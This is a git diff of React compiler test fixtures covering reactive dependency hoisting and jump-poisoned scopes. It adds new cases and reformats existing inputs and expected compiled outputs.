+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.expect.md
@@ -0,0 +1,96 @@
+
+## Input
+
+```javascript
+import {identity, shallowCopy, Stringify, useIdentity} from 'shared-runtime';
+
+type HasA = {kind: 'hasA'; a: {value: number}};
+type HasC = {kind: 'hasC'; c: {value: number}};
+function Foo({cond}: {cond: boolean}) {
+  let x: HasA | HasC = shallowCopy({kind: 'hasA', a: {value: 2}});
+  /**
+   * This read of x.a.value is outside of x's identifier mutable
+   * range + scope range. We mark this ssa instance (x_@0) as having
+   * a non-null object property `x.a`.
+   */
+  Math.max(x.a.value, 2);
+  if (cond) {
+    x = shallowCopy({kind: 'hasC', c: {value: 3}});
+  }
+
+  /**
+   * Since this x (x_@2 = phi(x_@0, x_@1)) is a different ssa instance,
+   * we cannot safely hoist a read of `x.a.value`
+   */
+  return <Stringify val={!cond && [(x as HasA).a.value + 2]} />;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{cond: false}],
+  sequentialRenders: [{cond: false}, {cond: true}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, shallowCopy, Stringify, useIdentity } from "shared-runtime";
+
+type HasA = { kind: "hasA"; a: { value: number } };
+type HasC = { kind: "hasC"; c: { value: number } };
+function Foo(t0) {
+  const $ = _c(7);
+  const { cond } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = shallowCopy({ kind: "hasA", a: { value: 2 } });
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let x = t1;
+
+  Math.max(x.a.value, 2);
+  if (cond) {
+    let t2;
+    if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+      t2 = shallowCopy({ kind: "hasC", c: { value: 3 } });
+      $[1] = t2;
+    } else {
+      t2 = $[1];
+    }
+    x = t2;
+  }
+  let t2;
+  if ($[2] !== cond || $[3] !== x) {
+    t2 = !cond && [(x as HasA).a.value + 2];
+    $[2] = cond;
+    $[3] = x;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== t2) {
+    t3 = <Stringify val={t2} />;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ cond: false }],
+  sequentialRenders: [{ cond: false }, { cond: true }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"val":[4]}</div>
+<div>{"val":false}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.tsx
new file mode 100644
index 000000000000..147ca8580935
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/hoist-deps-diff-ssa-instance1.tsx
@@ -0,0 +1,27 @@
+import {identity, shallowCopy, Stringify, useIdentity} from 'shared-runtime';
+
+type HasA = {kind: 'hasA'; a: {value: number}};
+type HasC = {kind: 'hasC'; c: {value: number}};
+function Foo({cond}: {cond: boolean}) {
+  let x: HasA | HasC = shallowCopy({kind: 'hasA', a: {value: 2}});
+  /**
+   * This read of x.a.value is outside of x's identifier mutable
+   * range + scope range. We mark this ssa instance (x_@0) as having
+   * a non-null object property `x.a`.
+   */
+  Math.max(x.a.value, 2);
+  if (cond) {
+    x = shallowCopy({kind: 'hasC', c: {value: 3}});
+  }
+
+  /**
+   * Since this x (x_@2 = phi(x_@0, x_@1)) is a different ssa instance,
+   * we cannot safely hoist a read of `x.a.value`
+   */
+  return <Stringify val={!cond && [(x as HasA).a.value + 2]} />;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{cond: false}],
+  sequentialRenders: [{cond: false}, {cond: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md
new file mode 100644
index 000000000000..263dd4d2e78d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Foo({a, shouldReadA}) {
+  return (
+    <Stringify
+      fn={() => {
+        if (shouldReadA) return a.b.c;
+        return null;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(3);
+  const { a, shouldReadA } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== shouldReadA) {
+    t1 = (
+      <Stringify
+        fn={() => {
+          if (shouldReadA) {
+            return a.b.c;
+          }
+          return null;
+        }}
+        shouldInvokeFns={true}
+      />
+    );
+    $[0] = a;
+    $[1] = shouldReadA;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ a: null, shouldReadA: true }],
+  sequentialRenders: [
+    { a: null, shouldReadA: true },
+    { a: null, shouldReadA: false },
+    { a: { b: { c: 4 } }, shouldReadA: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function","result":null},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx
new file mode 100644
index 000000000000..e571ee7b953e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx
@@ -0,0 +1,23 @@
+import {Stringify} from 'shared-runtime';
+
+function Foo({a, shouldReadA}) {
+  return (
+    <Stringify
+      fn={() => {
+        if (shouldReadA) return a.b.c;
+        return null;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md
index 9657c47fc98b..d4b473c20068 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md
@@ -19,7 +19,7 @@
 //    mutate2(y, props.a.b);
 //  }
 
-import { CONST_TRUE, setProperty } from "shared-runtime";
+import {CONST_TRUE, setProperty} from 'shared-runtime';
 
 function useJoinCondDepsInUncondScopes(props) {
   let y = {};
@@ -33,7 +33,7 @@ function useJoinCondDepsInUncondScopes(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useJoinCondDepsInUncondScopes,
-  params: [{ a: { b: 3 } }],
+  params: [{a: {b: 3}}],
 };
 
 ```
@@ -61,22 +61,14 @@ import { c as _c } from "react/compiler-runtime"; // This tests an optimization,
 import { CONST_TRUE, setProperty } from "shared-runtime";
 
 function useJoinCondDepsInUncondScopes(props) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== props.a.b) {
     const y = {};
-    let x;
-    if ($[2] !== props) {
-      x = {};
-      if (CONST_TRUE) {
-        setProperty(x, props.a.b);
-      }
-      $[2] = props;
-      $[3] = x;
-    } else {
-      x = $[3];
+    const x = {};
+    if (CONST_TRUE) {
+      setProperty(x, props.a.b);
     }
-
     setProperty(y, props.a.b);
     t0 = [x, y];
     $[0] = props.a.b;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.js
index a5d6a9e6149a..393e05566263 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.js
@@ -15,7 +15,7 @@
 //    mutate2(y, props.a.b);
 //  }
 
-import { CONST_TRUE, setProperty } from "shared-runtime";
+import {CONST_TRUE, setProperty} from 'shared-runtime';
 
 function useJoinCondDepsInUncondScopes(props) {
   let y = {};
@@ -29,5 +29,5 @@ function useJoinCondDepsInUncondScopes(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useJoinCondDepsInUncondScopes,
-  params: [{ a: { b: 3 } }],
+  params: [{a: {b: 3}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.expect.md
index 28357bd2c988..d392e347c5aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   b0: {
     if (objIsNull) {
@@ -15,14 +15,14 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
     // check we preserve nullthrows
-    { obj: { a: undefined }, objIsNull: false },
-    { obj: undefined, objIsNull: false },
-    { obj: { a: undefined }, objIsNull: false },
+    {obj: {a: undefined}, objIsNull: false},
+    {obj: undefined, objIsNull: false},
+    {obj: {a: undefined}, objIsNull: false},
   ],
 };
 
@@ -36,7 +36,7 @@ function useFoo(t0) {
   const $ = _c(3);
   const { obj, objIsNull } = t0;
   let x;
-  if ($[0] !== objIsNull || $[1] !== obj) {
+  if ($[0] !== obj || $[1] !== objIsNull) {
     x = [];
     bb0: {
       if (objIsNull) {
@@ -45,12 +45,13 @@ function useFoo(t0) {
 
       x.push(obj.a);
     }
-    $[0] = objIsNull;
-    $[1] = obj;
+    $[0] = obj;
+    $[1] = objIsNull;
     $[2] = x;
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.ts
index 28109d7d68fc..cd8b3393fc45 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.ts
@@ -1,4 +1,4 @@
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   b0: {
     if (objIsNull) {
@@ -11,13 +11,13 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
     // check we preserve nullthrows
-    { obj: { a: undefined }, objIsNull: false },
-    { obj: undefined, objIsNull: false },
-    { obj: { a: undefined }, objIsNull: false },
+    {obj: {a: undefined}, objIsNull: false},
+    {obj: undefined, objIsNull: false},
+    {obj: {a: undefined}, objIsNull: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.expect.md
index b96ec4921992..02aafc789959 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   label: {
     if (cond) {
@@ -17,16 +17,16 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, cond: false },
+    {input: {a: {b: 2}}, cond: false},
     // preserve nullthrows
-    { input: null, cond: false },
-    { input: null, cond: true },
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: null, cond: false},
+    {input: null, cond: true},
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
 
@@ -64,6 +64,7 @@ function useFoo(t0) {
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.ts
index c1a49e26e1c9..84b8bbc0a465 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond }) {
+function useFoo({input, cond}) {
   const x = [];
   label: {
     if (cond) {
@@ -13,15 +13,15 @@ function useFoo({ input, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { a: { b: 2 } }, cond: false }],
+  params: [{input: {a: {b: 2}}, cond: false}],
   sequentialRenders: [
-    { input: { a: { b: 2 } }, cond: false },
+    {input: {a: {b: 2}}, cond: false},
     // preserve nullthrows
-    { input: null, cond: false },
-    { input: null, cond: true },
-    { input: {}, cond: false },
-    { input: { a: { b: null } }, cond: false },
-    { input: { a: null }, cond: false },
-    { input: { a: { b: 3 } }, cond: false },
+    {input: null, cond: false},
+    {input: null, cond: true},
+    {input: {}, cond: false},
+    {input: {a: {b: null}}, cond: false},
+    {input: {a: null}, cond: false},
+    {input: {a: {b: 3}}, cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.expect.md
index 32adfa149104..90a3d7922e06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   for (let i = 0; i < 5; i++) {
     if (objIsNull) {
@@ -15,14 +15,14 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
     // check we preserve nullthrows
-    { obj: { a: undefined }, objIsNull: false },
-    { obj: undefined, objIsNull: false },
-    { obj: { a: undefined }, objIsNull: false },
+    {obj: {a: undefined}, objIsNull: false},
+    {obj: undefined, objIsNull: false},
+    {obj: {a: undefined}, objIsNull: false},
   ],
 };
 
@@ -36,7 +36,7 @@ function useFoo(t0) {
   const $ = _c(3);
   const { obj, objIsNull } = t0;
   let x;
-  if ($[0] !== objIsNull || $[1] !== obj) {
+  if ($[0] !== obj || $[1] !== objIsNull) {
     x = [];
     for (let i = 0; i < 5; i++) {
       if (objIsNull) {
@@ -45,12 +45,13 @@ function useFoo(t0) {
 
       x.push(obj.a);
     }
-    $[0] = objIsNull;
-    $[1] = obj;
+    $[0] = obj;
+    $[1] = objIsNull;
     $[2] = x;
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.ts
index f5ecc3380c7a..61efecd2bc3f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.ts
@@ -1,4 +1,4 @@
-function useFoo({ obj, objIsNull }) {
+function useFoo({obj, objIsNull}) {
   const x = [];
   for (let i = 0; i < 5; i++) {
     if (objIsNull) {
@@ -11,13 +11,13 @@ function useFoo({ obj, objIsNull }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ obj: null, objIsNull: true }],
+  params: [{obj: null, objIsNull: true}],
   sequentialRenders: [
-    { obj: null, objIsNull: true },
-    { obj: { a: 2 }, objIsNull: false },
+    {obj: null, objIsNull: true},
+    {obj: {a: 2}, objIsNull: false},
     // check we preserve nullthrows
-    { obj: { a: undefined }, objIsNull: false },
-    { obj: undefined, objIsNull: false },
-    { obj: { a: undefined }, objIsNull: false },
+    {obj: {a: undefined}, objIsNull: false},
+    {obj: undefined, objIsNull: false},
+    {obj: {a: undefined}, objIsNull: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.expect.md
index 66018b204585..c3ccf530c62f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond, hasAB }) {
+function useFoo({input, cond, hasAB}) {
   const x = [];
   if (cond) {
     if (!hasAB) {
@@ -19,15 +19,15 @@ function useFoo({ input, cond, hasAB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, cond: true, hasAB: false }],
+  params: [{input: {b: 1}, cond: true, hasAB: false}],
   sequentialRenders: [
-    { input: { a: { b: 1 } }, cond: true, hasAB: true },
-    { input: null, cond: true, hasAB: false },
+    {input: {a: {b: 1}}, cond: true, hasAB: true},
+    {input: null, cond: true, hasAB: false},
     // preserve nullthrows
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
-    { input: { a: undefined }, cond: true, hasAB: true },
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
-    { input: undefined, cond: true, hasAB: true },
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
+    {input: {a: undefined}, cond: true, hasAB: true},
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
+    {input: undefined, cond: true, hasAB: true},
   ],
 };
 
@@ -42,8 +42,8 @@ import { identity } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(9);
   const { input, cond, hasAB } = t0;
-  let x;
   let t1;
+  let x;
   if ($[0] !== cond || $[1] !== hasAB || $[2] !== input) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -77,15 +77,16 @@ function useFoo(t0) {
     $[0] = cond;
     $[1] = hasAB;
     $[2] = input;
-    $[3] = x;
-    $[4] = t1;
+    $[3] = t1;
+    $[4] = x;
   } else {
-    x = $[3];
-    t1 = $[4];
+    t1 = $[3];
+    x = $[4];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.ts
index 500d2299aad9..3c57541a83de 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond, hasAB }) {
+function useFoo({input, cond, hasAB}) {
   const x = [];
   if (cond) {
     if (!hasAB) {
@@ -15,14 +15,14 @@ function useFoo({ input, cond, hasAB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, cond: true, hasAB: false }],
+  params: [{input: {b: 1}, cond: true, hasAB: false}],
   sequentialRenders: [
-    { input: { a: { b: 1 } }, cond: true, hasAB: true },
-    { input: null, cond: true, hasAB: false },
+    {input: {a: {b: 1}}, cond: true, hasAB: true},
+    {input: null, cond: true, hasAB: false},
     // preserve nullthrows
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
-    { input: { a: undefined }, cond: true, hasAB: true },
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
-    { input: undefined, cond: true, hasAB: true },
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
+    {input: {a: undefined}, cond: true, hasAB: true},
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
+    {input: undefined, cond: true, hasAB: true},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.expect.md
index 272665882aad..ed9e5d4fe7b8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond, hasAB }) {
+function useFoo({input, cond, hasAB}) {
   const x = [];
   if (cond) {
     if (!hasAB) {
@@ -21,14 +21,14 @@ function useFoo({ input, cond, hasAB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, cond: true, hasAB: false }],
+  params: [{input: {b: 1}, cond: true, hasAB: false}],
   sequentialRenders: [
-    { input: { a: { b: 1 } }, cond: true, hasAB: true },
-    { input: null, cond: true, hasAB: false },
+    {input: {a: {b: 1}}, cond: true, hasAB: true},
+    {input: null, cond: true, hasAB: false},
     // preserve nullthrows
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
-    { input: { a: null }, cond: true, hasAB: true },
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
+    {input: {a: null}, cond: true, hasAB: true},
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
   ],
 };
 
@@ -43,8 +43,8 @@ import { identity } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(11);
   const { input, cond, hasAB } = t0;
-  let x;
   let t1;
+  let x;
   if ($[0] !== cond || $[1] !== hasAB || $[2] !== input) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -88,15 +88,16 @@ function useFoo(t0) {
     $[0] = cond;
     $[1] = hasAB;
     $[2] = input;
-    $[3] = x;
-    $[4] = t1;
+    $[3] = t1;
+    $[4] = x;
   } else {
-    x = $[3];
-    t1 = $[4];
+    t1 = $[3];
+    x = $[4];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.ts
index b0cf445f8ea3..07a4b8e5d304 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.ts
@@ -1,6 +1,6 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function useFoo({ input, cond, hasAB }) {
+function useFoo({input, cond, hasAB}) {
   const x = [];
   if (cond) {
     if (!hasAB) {
@@ -17,13 +17,13 @@ function useFoo({ input, cond, hasAB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: { b: 1 }, cond: true, hasAB: false }],
+  params: [{input: {b: 1}, cond: true, hasAB: false}],
   sequentialRenders: [
-    { input: { a: { b: 1 } }, cond: true, hasAB: true },
-    { input: null, cond: true, hasAB: false },
+    {input: {a: {b: 1}}, cond: true, hasAB: true},
+    {input: null, cond: true, hasAB: false},
     // preserve nullthrows
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
-    { input: { a: null }, cond: true, hasAB: true },
-    { input: { a: { b: undefined } }, cond: true, hasAB: true },
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
+    {input: {a: null}, cond: true, hasAB: true},
+    {input: {a: {b: undefined}}, cond: true, hasAB: true},
   ],
 };
